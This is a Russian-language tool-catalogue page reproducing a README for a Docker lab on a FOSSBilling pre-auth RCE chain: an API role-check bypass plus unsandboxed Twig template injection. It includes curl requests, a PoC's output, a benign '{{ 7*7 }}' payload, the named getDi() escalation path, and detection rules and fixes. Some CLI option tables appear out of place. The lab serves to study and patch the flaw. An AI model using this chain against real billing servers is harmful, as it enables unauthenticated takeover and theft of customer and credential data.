Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-28496 — Docker-лаборатория, воспроизводящая цепочку pre-auth RCE в FOSSBilling (обход аутентификации CVE-2026-27604 + Twig SSTI CVE-2026-28496) с Python PoC и пропатченной целью для сравнения. | Kitploit
Инструменты/GitHubGitHub/ivanesk315/cve-2026-28496
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияБессерверная безопасностьЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubivanesk315/cve-2026-28496

CVE-2026-28496

Docker-лаборатория, воспроизводящая цепочку pre-auth RCE в FOSSBilling (обход аутентификации CVE-2026-27604 + Twig SSTI CVE-2026-28496) с Python PoC и пропатченной целью для сравнения.

17 ч 3 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27604 + CVE-2026-28496 — Цепочка Pre-Auth RCE в FOSSBilling

Краткое резюме

Этот репозиторий содержит локальную лабораторию Docker для воспроизведения и проверки цепочки Pre-Auth RCE в FOSSBilling, состоящей из двух связанных уязвимостей:

CVEТипCVSS v4GHSAОписание
CVE-2026-27604Обход аутентификации10.0GHSA-78x5-c8gw-8279Отсутствующий throw в проверке ролей API открывает административные эндпоинты для неаутентифицированных вызывающих
CVE-2026-28496SSTI9.4GHSA-57mv-jm88-66jcРендеринг шаблонов Twig без песочницы через API string_render

FOSSBilling — это бесплатная платформа с открытым исходным кодом для биллинга и управления клиентами. Затронуты версии с 0.5.4 по 0.7.2. FOSSBilling 0.8.0 исправляет обе уязвимости.

В этой лаборатории сравниваются две версии FOSSBilling:

СервисВерсия FOSSBillingНазначениеURL
vuln0.7.2Уязвимая цельhttp://localhost:8081
patched0.8.0Исправленная цельhttp://localhost:8082

Проверенная цепочка в этой локальной лаборатории:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}

root@kitploit:~
Пропатченная цель (0.8.0) возвращает:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Лаборатория намеренно ограничена локальными сервисами Docker. Она не нацелена на внешние системы и не включает веб-оболочки, вредоносное ПО, персистентность, внешние обратные вызовы, дамп баз данных или деструктивные полезные нагрузки.

Цепочка

Для Pre-Auth RCE требуется совместная работа обеих уязвимостей:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘

root@kitploit:~
Этот лабораторный пример демонстрирует цепочку с использованием безопасного арифметического доказательства `{{ 7*7 }}`. Полный путь RCE через `getDi()` не демонстрируется.

## Проверенные факты

| Утверждение | Доказательство | Как проверить |
| ----- | -------- | ------------- |
| CVE-2026-27604 — это обход аутентификации в обработке ролей API FOSSBilling. | GHSA-78x5-c8gw-8279: отсутствующий throw в проверке ролей позволяет /api/system/ разрешаться как admin. | Запустите PoC: путь guest отклоняется, путь system возвращает результат admin. |
| CVE-2026-28496 — это SSTI в рендеринге Twig в FOSSBilling. | GHSA-57mv-jm88-66jc: string_render передаёт _tpl в Twig createTemplate() без песочницы. | Запустите PoC: сервер вычисляет {{ 7*7 }} и возвращает 49. |
| Обе уязвимости затрагивают FOSSBilling с 0.5.4 по 0.7.2. | Публичные рекомендации определяют диапазон уязвимых версий. | Сравните уязвимую (0.7.2) и исправленную (0.8.0) цели. |
| FOSSBilling 0.8.0 исправляет обе уязвимости. | Исправленная цель возвращает "Unknown API call" для тестируемой конечной точки. | Запустите PoC против порта 8082. |
| Обход аутентификации даёт неаутентифицированный доступ администратора. | /api/guest/ отклоняет string_render; /api/system/ возвращает результат без аутентификации. | Запустите этап 1 PoC. |
| SSTI вычисляет контролируемые злоумышленником шаблоны. | {{ 7*7 }} возвращает 49 через уязвимый путь. | Запустите этап 2 PoC. |
| Цепочка обеспечивает Pre-Auth RCE. | Обход аутентификации + SSTI = неаутентифицированная инъекция шаблонов с контекстом администратора. | Запустите PoC полной цепочки. |
| PoC использует только HTTP. | poc.py отправляет только HTTP POST-запросы. | Изучите poc/poc.py. |

## Анализ первопричины

### CVE-2026-27604: обход аутентификации

API FOSSBilling определяет роли из пути URL:```text
/api/:role/:module/:method

Проверка роли проверяет, разрешена ли запрошенная роль. Однако в уязвимых версиях исключение для запрещённых ролей создаётся, но никогда не выбрасывается:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }

root@kitploit:~
Поскольку исключение никогда не выбрасывается, проверка проходит незаметно. Роль `system` сопоставляется с идентификатором администратора cron, предоставляя полный доступ к admin API любому неаутентифицированному вызывающему.

Влияние на безопасность:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

Роль system соответствует внутренней идентичности администратора cron, которая обладает полными административными привилегиями.

CVE-2026-28496: SSTI

Метод административного API string_render получает _tpl из данных запроса и передаёт его в конвейер рендеринга шаблонов Twig без применения песочницы:```php public function string_render($data) { if (!isset($data['_tpl'])) { error_log('_tpl parameter not passed'); return ''; }

root@kitploit:~
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;

$vars = $data;
unset($vars['_tpl'], $vars['_try']);

return $this->getService()->renderString($tpl, $try_render, $vars);

}

root@kitploit:~
Метод `renderString()` передаёт управление `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

Критическая проблема: createTemplate($tpl) создаёт Twig-шаблон из контролируемой злоумышленником строки и рендерит его без ограничений песочницы. Шаблон имеет доступ к объектам в контексте шаблона, включая обработчик гостевого API, который предоставляет getDi().

Комбинированная цепочка```text

Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication

Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"

Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution

root@kitploit:~
## Сводка исправлений в исходном коде

FOSSBilling 0.8.0 устраняет обе уязвимости:

**Исправление обхода аутентификации (CVE-2026-27604):**
Проверка ролей теперь корректно выбрасывает исключение для запрещённых ролей.

**Исправление SSTI (CVE-2026-28496):**
Рендеринг шаблонов выполняется через изолированный рендерер:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

Политика песочницы по умолчанию блокирует доступ к методам и свойствам:```php $methods = []; $properties = [];

root@kitploit:~
Для публичного пути API, протестированного в этой лабораторной работе, FOSSBilling 0.8.0 вообще не предоставляет доступ к протестированной конечной точке:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Проверка регрессии на уровне исходного кода подтверждает более глубокое исправление:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy

root@kitploit:~
## Архитектура лаборатории```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore
СервисКомпонентВерсия / Роль
vulnFOSSBilling0.7.2 уязвимая цель
patchedFOSSBilling0.8.0 пропатченная цель
vuln-dbMariaDBбаза данных для уязвимой цели
patched-dbMariaDBбаза данных для пропатченной цели
installer-vulncurl sidecarавтоматически устанавливает уязвимую цель
installer-patchedcurl sidecarавтоматически устанавливает пропатченную цель

Сервисы, открытые по умолчанию:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
Установочные sidecar-контейнеры запускаются автоматически во время `docker compose up`. Они инициализируют обе цели FOSSBilling с локальными одноразовыми учётными данными, а затем завершают работу.

## Требования

* Docker Desktop или Docker Engine
* Docker Compose v2
* Python 3
* Доступ в интернет при первой загрузке Docker-образа

Сторонние пакеты Python не требуются. PoC использует только модули стандартной библиотеки Python.

## Быстрый старт

Запустите лабораторию с чистого состояния:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Проверить статус службы:```bash docker compose ps -a

root@kitploit:~
Ожидаемые запущенные сервисы:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Ожидаемые завершённые службы установщика (код выхода 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
Проверьте логи установщика:```bash
docker compose logs installer-vuln installer-patched

Запустите проверку цепочки против уязвимой цели:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
Запустите проверку цепочки для пропатченной цели:```bash
python3 poc/poc.py --url http://localhost:8082

Использование PoC```bash

python3 poc/poc.py --url <target_url>

root@kitploit:~
Примеры:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

PoC проверяет обе CVE в три этапа:

Этап 1 — Обход аутентификации (CVE-2026-27604): Сравнивает путь гостевого API с путём системного API, чтобы доказать неаутентифицированный административный доступ.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)

root@kitploit:~
**Этап 2 — SSTI (CVE-2026-28496):**
Подтверждает серверную оценку шаблона через обойдённую конечную точку администратора.```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

Этап 3 — Оценка цепочки: Обобщает результат объединённой цепочки.

PoC работает только по HTTP. Он не вызывает Docker, Docker Compose, команды оболочки или API контейнеров.

Ожидаемые результаты

Уязвимая цель (FOSSBilling 0.7.2)```bash

python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
| `--no-color` | Отключить цветной вывод |
| `--debug` | Включить режим отладки |
| `--verbose` | Включить подробный вывод |
| `--silent` | Подавить весь вывод, кроме ошибок |
| `--json` | Выводить результаты в формате JSON |
| `--csv` | Выводить результаты в формате CSV |
| `--output <file>` | Записать вывод в указанный файл |
| `--config <file>` | Использовать указанный файл конфигурации |
| `--timeout <seconds>` | Установить тайм-аут для операций |
| `--retry <count>` | Указать количество повторных попыток |
| `--threads <count>` | Установить количество потоков |
| `--rate-limit <n>` | Ограничить количество запросов в секунду |
| `--proxy <url>` | Использовать указанный прокси |
| `--user-agent <string>` | Установить пользовательский User-Agent |
| `--header <header>` | Добавить пользовательский заголовок |
| `--cookie <cookie>` | Добавить пользовательскую cookie |
| `--follow-redirects` | Следовать перенаправлениям |
| `--insecure` | Игнорировать ошибки SSL/TLS |
| `--random-agent` | Использовать случайный User-Agent |
| `--tor` | Маршрутизировать трафик через Tor |
| `--check-tor` | Проверить, используется ли Tor |
| `--update` | Обновить инструмент |
| `--version` | Показать информацию о версии |
| `--help` | Показать справку |```text
============================================================
  CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
  FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
  Scope:  authorized local lab target only
  Target: http://localhost:8081

============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================

  [1a] Guest role: POST /api/guest/system/string_render
       status=400
       error={'message': '...', 'code': ...}
       → Denied (expected — guest has no admin access)

  [1b] System role (bypass): POST /api/system/system/string_render
       status=200
       result=49
       → Admin method returned result WITHOUT authentication

  VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
           CVE-2026-27604 CONFIRMED

============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================

  [2] POST /api/system/system/string_render
      body={"_tpl": "{{ 7*7 }}"}
      status=200
      response={"result":"49","error":null}

  VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
           CVE-2026-28496 CONFIRMED

============================================================
STAGE 3: Chain Assessment
============================================================

  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  CONFIRMED
  CVE-2026-28496  SSTI         CVSS v4: 9.4   CONFIRMED

  CHAIN RESULT: Pre-Auth RCE path CONFIRMED

Исправленная цель (FOSSBilling 0.8.0)```bash

python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
| `--config` | Путь к файлу конфигурации |
| `--verbose` | Включить подробное ведение журнала |
| `--output` | Путь к выходному файлу |```text
  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  NOT PRESENT
  CVE-2026-28496  SSTI         CVSS v4: 9.4   NOT PRESENT

  CHAIN RESULT: PATCHED — neither vulnerability is present
  Target appears to be FOSSBilling >= 0.8.0

Ручное воспроизведение через HTTP

Доказательство обхода аутентификации (CVE-2026-27604)

Путь гостя (должен быть запрещён):```bash curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
Системный путь (обходит аутентификацию):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Доказательство SSTI (CVE-2026-28496)

Ответ с системным путём от уязвимой цели:```json {"result":"49","error":null}

root@kitploit:~
### Сравнение исправленных версий```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Ожидаемый ответ после исправления:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
## Влияние

Цепочка позволяет выполнять неаутентифицированное удалённое выполнение кода в FOSSBilling — платформе для биллинга и управления клиентами, которая может хранить:

* Записи о клиентах и персональные данные
* Данные биллинга и конфигурацию платежей
* Учётные данные серверов и API-токены
* Учётные записи и сессии администраторов

Продемонстрированная в лаборатории полезная нагрузка безвредна (`{{ 7*7 }}`). Реальная цепочка воздействия через `getDi()` и DI-контейнер включает:

* Выполнение SQL через PDO (извлечение учётных данных, эксфильтрация данных)
* Доступ к более чем 40 сервисам приложения
* Доступ к менеджеру расширений (выполнение кода)
* Изменение состояния приложения
* Полную компрометацию сервера при объединении с путями записи файлов или выполнения команд

Одного неаутентифицированного HTTP POST достаточно для достижения DI-контейнера. Данный PoC не демонстрирует этот путь.

## Обнаружение и мониторинг

Подозрительные шаблоны запросов:```text
POST /api/system/system/string_render
POST /api/system/*  (any admin method via system role)

Индикаторы тела запроса:```text _tpl, {{, }}, getDi, system, string_render

root@kitploit:~
Правила обнаружения с высоким уровнем сигнала:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output

Рекомендуемые действия по мониторингу:

  • Проверьте журналы доступа на наличие запросов к /api/system/
  • Проверьте запросы, содержащие _tpl в телах JSON
  • Проверьте запросы, содержащие синтаксис Twig ({{, }}, getDi)
  • Настройте оповещения об успешных ответах на /api/system/ с внешних IP-адресов
  • Проверьте активность администратора при подозрении на эксплуатацию
  • Проверьте шаблоны, шаблоны электронной почты и массовые рассылки на подозрительный синтаксис Twig

Меры по устранению

Обновите FOSSBilling до версии 0.8.0 или более поздней.

Рекомендуемые шаги:

  • Обновите FOSSBilling до 0.8.0 или более поздней версии
  • Заблокируйте внешний доступ к /api/system/* на обратном прокси или WAF
  • Ограничьте доступ к API доверенными исходными IP-адресами
  • Смените все административные и клиентские API-токены
  • Аннулируйте все активные сессии
  • Проверьте журналы доступа на наличие запросов к /api/system/
  • Проведите аудит шаблонов электронной почты, массовых рассылок и платёжных адаптеров на подозрительный синтаксис Twig
  • Смените секреты при подозрении на эксплуатацию
  • Проверьте записи клиентов, биллинга и серверов на несанкционированный доступ

Уроки по безопасности:

  • Всегда выбрасывайте исключения в проверках авторизации — создание экземпляра без выброса исключения является скрытым обходом
  • Не рендерите недоверенные строки шаблонов в привилегированном контексте приложения
  • Используйте изолированный рендеринг шаблонов и запрещайте доступ к методам/свойствам по умолчанию
  • Не предоставляйте DI-контейнеры или локаторы служб контекстам шаблонов
  • Делайте сбои авторизации API явными и обеспечивайте отказ в закрытом состоянии

Полезные команды```bash

Container status

docker compose ps -a

Installer logs

docker compose logs installer-vuln installer-patched

Chain validation — vulnerable

python3 poc/poc.py --url http://localhost:8081

Chain validation — patched

python3 poc/poc.py --url http://localhost:8082

Manual auth bypass proof

curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

Save evidence

mkdir -p evidence python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt docker compose ps -a | tee evidence/docker-ps.txt docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt

root@kitploit:~
## Очистка```bash
# Stop containers
docker compose down --remove-orphans

# Stop containers and remove volumes
docker compose down -v --remove-orphans

# Remove evidence files
rm -rf evidence/

Границы безопасности

Эта лаборатория предназначена только для локальных исследований в области безопасности и контролируемой демонстрации.

Не запускайте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Не используйте в этой лаборатории реальные производственные учётные данные, данные клиентов или API-ключи.

Предполагаемая область применения ограничена:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Лаборатория не демонстрирует:

* Удалённое выполнение команд через getDi()
* Извлечение учётных данных через PDO
* Дамп базы данных
* Установку расширений
* Загрузку веб-шелла
* Закрепление или боковое перемещение
* Внешние обратные вызовы
* Атаки на системы, не входящие в лабораторию

## Ссылки

* **CVE-2026-27604** — обход аутентификации в FOSSBilling
  https://www.cve.org/CVERecord?id=CVE-2026-27604

* **CVE-2026-28496** — SSTI в FOSSBilling
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* **GHSA-78x5-c8gw-8279** — рекомендация по обходу аутентификации
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

* **GHSA-57mv-jm88-66jc** — рекомендация по SSTI
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* **NVD — CVE-2026-27604**
  https://nvd.nist.gov/vuln/detail/CVE-2026-27604

* **NVD — CVE-2026-28496**
  https://nvd.nist.gov/vuln/detail/CVE-2026-28496

* **VulnCheck** — обход аутентификации в FOSSBilling и Twig SSTI до неаутентифицированного RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* **Репозиторий FOSSBilling на GitHub**
  https://github.com/FOSSBilling/FOSSBilling

* **Docker-образ FOSSBilling**
  https://hub.docker.com/r/fossbilling/fossbilling

* **Документация Twig — расширение Sandbox**
  https://twig.symfony.com/doc/3.x/sandbox.html
Скачать инструмент